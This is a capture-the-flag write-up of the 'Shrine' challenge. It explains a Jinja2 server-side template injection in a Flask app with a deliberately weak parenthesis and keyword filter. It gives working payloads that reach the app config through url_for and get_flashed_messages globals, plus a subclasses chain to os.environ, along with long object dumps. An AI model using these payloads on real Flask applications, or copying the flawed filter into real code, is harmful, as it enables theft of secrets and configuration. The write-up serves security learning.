CTF SSTI 一些記錄
https://ctftime.org/writeup/10895
https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/
▼▼▼Shrine(Web:solved 58/810=7.1%)▼▼▼
This writeup is written by @kazkiti_ctf
GET / HTTP/1.1
Host: shrine.chal.ctf.westerns.tokyo
↓
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
【Information gathring】
・@app.route('/shrine/<path:shrine>
') ⇒The insertion point is URL after /shrine/
・s = s.replace('(', '').replace(')', '') ⇒ (
)
will be erased
・blacklist = ['config', 'self'] ⇒ config
、 self
will be erased
・return flask.render_template_string(safe_jinja(shrine)) ⇒Vulnerability is SSTI by Jinja2 (Server Side Template Injection)
【Vulnerability is SSTI by Jinja2 (Server Side Template Injection)】
Jinja2(http://jinja.pocoo.org/docs/2.10/templates/)
↓
・ {{
something }}
Means to print something
↓
GET /shrine/{{3*3}} HTTP/1.1
Host: shrine.chal.ctf.westerns.tokyo
↓
9
↓
Calculated!!
【Goal】
・app.config['FLAG'] = os.environ.pop('FLAG')
【If there is no WAF. . .】
Improved code
↓
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF{secret}'
print("1")
print(os.environ['PATH'])
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', ' (').replace(')', ')')
blacklist = ['aaaa']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)
1. If I can use config
GET /shrine/{{config}}
↓
<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': True, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'FLAG': 'TWCTF{secret}', 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>
↓
{{config.FLAG}}
⇒TWCTF{secret}
2. If I can use self
{{self}}
⇒<TemplateReference None>
{{self.__dict__}}
↓
{'_TemplateReference__context': <Context {'url_for': <function url_for at 0x7f67e7d0cb90>, 'g': <flask.g of 'main'>, 'request': <Request 'http://my_server/shrine/{{self.__dict__}}' [GET]>, 'namespace': <class 'jinja2.utils.Namespace'>, 'lipsum': <function generate_lorem_ipsum at 0x7f67e8dc2c08>, 'aaaa': None, 'range': <type 'xrange'>, 'session': <NullSession {}>, 'dict': <type 'dict'>, 'get_flashed_messages': <function get_flashed_messages at 0x7f67e7d0ccf8>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'config': <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': True, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'FLAG': 'TWCTF{secret}', 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>} of None>}
↓
'FLAG': 'TWCTF{secret}'
Also, there are many things that can be used.
↓
url_for
, g
, request
, namespace
, lipsum
, range
, session
, dict
, get_flashed_messages
, cycler
, joiner
, config
3. If I can use (
and )
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}
↓
'FLAG': 'TWCTF{secret}'
Since config
, self
(
and )
can not be used, in order to get config information, it is necessary to access config from its upper global variable (current_app
etc.).
↓
(for example)
__globals__['current_app'].config['FLAG']
top.app.config['FLAG']
【method 1.Discover current_app in url_for 】
{{url_for}}
↓
<function url_for at 0x7f5cc8cd1f28>
{{url_for.__globals__}}
↓
{'__name__': 'flask.helpers', '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: c 2010 by the Pallets team.\n :license: BSD, see LICENSE for more details.\n', '__package__': 'flask', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fe74fc90940>, '__spec__': ModuleSpec(name='flask.helpers', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fe74fc90940>, origin='/usr/local/lib/python3.7/site-packages/flask/helpers.py'), '__file__': '/usr/local/lib/python3.7/site-packages/flask/helpers.py', '__cached__': '/usr/local/lib/python3.7/site-packages/flask/__pycache__/helpers.cpython-37.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2018 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'os': <module 'os' from '/usr/local/lib/python3.7/os.py'>, 'socket': <module 'socket' from '/usr/local/lib/python3.7/socket.py'>, 'sys': <module 'sys' (built-in)>, 'pkgutil': <module 'pkgutil' from '/usr/local/lib/python3.7/pkgutil.py'>, 'posixpath': <module 'posixpath' from '/usr/local/lib/python3.7/posixpath.py'>, 'mimetypes': <module 'mimetypes' from '/usr/local/lib/python3.7/mimetypes.py'>, 'time': <built-in function time>, 'adler32': <built-in function adler32>, 'RLock': <function RLock at 0x7fe7513c49d8>, 'unicodedata': <module 'unicodedata' from '/usr/local/lib/python3.7/lib-dynload/unicodedata.cpython-37m-x86_64-linux-gnu.so'>, 'BuildError': <class 'werkzeug.routing.BuildError'>, 'update_wrapper': <function update_wrapper at 0x7fe7536f8ea0>, 'url_quote': <function url_quote at 0x7fe750aca488>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'Range': <class 'werkzeug.datastructures.Range'>, 'BadRequest': <class 'werkzeug.exceptions.BadRequest'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'wrap_file': <function wrap_file at 0x7fe750ace9d8>, 'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>, 'message_flashed': <flask.signals._FakeSignal object at 0x7fe74fc8cda0>, 'session': <NullSession {}>, '_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7fe750a42fd0>, '_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7fe74fc7f128>, 'current_app': <Flask 'app'>, 'request': <Request 'http://shrine.chal.ctf.westerns.tokyo/shrine/{{url_for.__globals__}}' [GET]>, 'string_types': (<class 'str'>,), 'text_type': <class 'str'>, 'PY2': False, '_missing': <object object at 0x7fe75907a7b0>, '_os_alt_seps': [], 'get_env': <function get_env at 0x7fe74fc89730>, 'get_debug_flag': <function get_debug_flag at 0x7fe74fc89840>, 'get_load_dotenv': <function get_load_dotenv at 0x7fe74fc89ae8>, '_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7fe74fc89b70>, 'stream_with_context': <function stream_with_context at 0x7fe74fc89bf8>, 'make_response': <function make_response at 0x7fe74fc89c80>, 'url_for': <function url_for at 0x7fe74fc89d08>, 'get_template_attribute': <function get_template_attribute at 0x7fe74fc89d90>, 'flash': <function flash at 0x7fe74fc89e18>, 'get_flashed_messages': <function get_flashed_messages at 0x7fe74fc89ea0>, 'send_file': <function send_file at 0x7fe74fc89f28>, 'safe_join': <function safe_join at 0x7fe74fc9b048>, 'send_from_directory': <function send_from_directory at 0x7fe74fc9b0d0>, 'get_root_path': <function get_root_path at 0x7fe74fc9b158>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7fe74fc9b1e0>, 'find_package': <function find_package at 0x7fe74fc9b268>, 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>, '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 'total_seconds': <function total_seconds at 0x7fe74fc9b2f0>, 'is_ip': <function is_ip at 0x7fe74fc9b9d8>}
↓
There is current_app
!!
【method 2.Discover current_app in get_flashed_messages 】
{{get_flashed_messages}}
↓
<function get_flashed_messages at 0x7fdc23b10ea0>
{{get_flashed_messages.__globals__}}
↓
{'__name__': 'flask.helpers', '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: c 2010 by the Pallets team.\n :license: BSD, see LICENSE for more details.\n', '__package__': 'flask', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f3429e1c940>, '__spec__': ModuleSpec(name='flask.helpers', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f3429e1c940>, origin='/usr/local/lib/python3.7/site-packages/flask/helpers.py'), '__file__': '/usr/local/lib/python3.7/site-packages/flask/helpers.py', '__cached__': '/usr/local/lib/python3.7/site-packages/flask/__pycache__/helpers.cpython-37.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2018 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'os': <module 'os' from '/usr/local/lib/python3.7/os.py'>, 'socket': <module 'socket' from '/usr/local/lib/python3.7/socket.py'>, 'sys': <module 'sys' (built-in)>, 'pkgutil': <module 'pkgutil' from '/usr/local/lib/python3.7/pkgutil.py'>, 'posixpath': <module 'posixpath' from '/usr/local/lib/python3.7/posixpath.py'>, 'mimetypes': <module 'mimetypes' from '/usr/local/lib/python3.7/mimetypes.py'>, 'time': <built-in function time>, 'adler32': <built-in function adler32>, 'RLock': <function RLock at 0x7f342b6589d8>, 'unicodedata': <module 'unicodedata' from '/usr/local/lib/python3.7/lib-dynload/unicodedata.cpython-37m-x86_64-linux-gnu.so'>, 'BuildError': <class 'werkzeug.routing.BuildError'>, 'update_wrapper': <function update_wrapper at 0x7f342d98cea0>, 'url_quote': <function url_quote at 0x7f342ad5e488>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'Range': <class 'werkzeug.datastructures.Range'>, 'BadRequest': <class 'werkzeug.exceptions.BadRequest'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'wrap_file': <function wrap_file at 0x7f342ad629d8>, 'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>, 'message_flashed': <flask.signals._FakeSignal object at 0x7f3429e2ada0>, 'session': <NullSession {}>, '_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7f3429e162b0>, '_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7f3429e16400>, 'current_app': <Flask 'app'>, 'request': <Request 'http://shrine.chal.ctf.westerns.tokyo/shrine/{{get_flashed_messages.__globals__}}' [GET]>, 'string_types': (<class 'str'>,), 'text_type': <class 'str'>, 'PY2': False, '_missing': <object object at 0x7f343330e7b0>, '_os_alt_seps': [], 'get_env': <function get_env at 0x7f3429e20730>, 'get_debug_flag': <function get_debug_flag at 0x7f3429e20840>, 'get_load_dotenv': <function get_load_dotenv at 0x7f3429e20ae8>, '_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7f3429e20b70>, 'stream_with_context': <function stream_with_context at 0x7f3429e20bf8>, 'make_response': <function make_response at 0x7f3429e20c80>, 'url_for': <function url_for at 0x7f3429e20d08>, 'get_template_attribute': <function get_template_attribute at 0x7f3429e20d90>, 'flash': <function flash at 0x7f3429e20e18>, 'get_flashed_messages': <function get_flashed_messages at 0x7f3429e20ea0>, 'send_file': <function send_file at 0x7f3429e20f28>, 'safe_join': <function safe_join at 0x7f3429e2b048>, 'send_from_directory': <function send_from_directory at 0x7f3429e2b0d0>, 'get_root_path': <function get_root_path at 0x7f3429e2b158>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7f3429e2b1e0>, 'find_package': <function find_package at 0x7f3429e2b268>, 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>, '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 'total_seconds': <function total_seconds at 0x7f3429e2b2f0>, 'is_ip': <function is_ip at 0x7f3429e2b9d8>}
↓
There is current_app
!!
【exploit】
GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
or
GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
↓
TWCTF{pray_f0r_sacred_jinja2}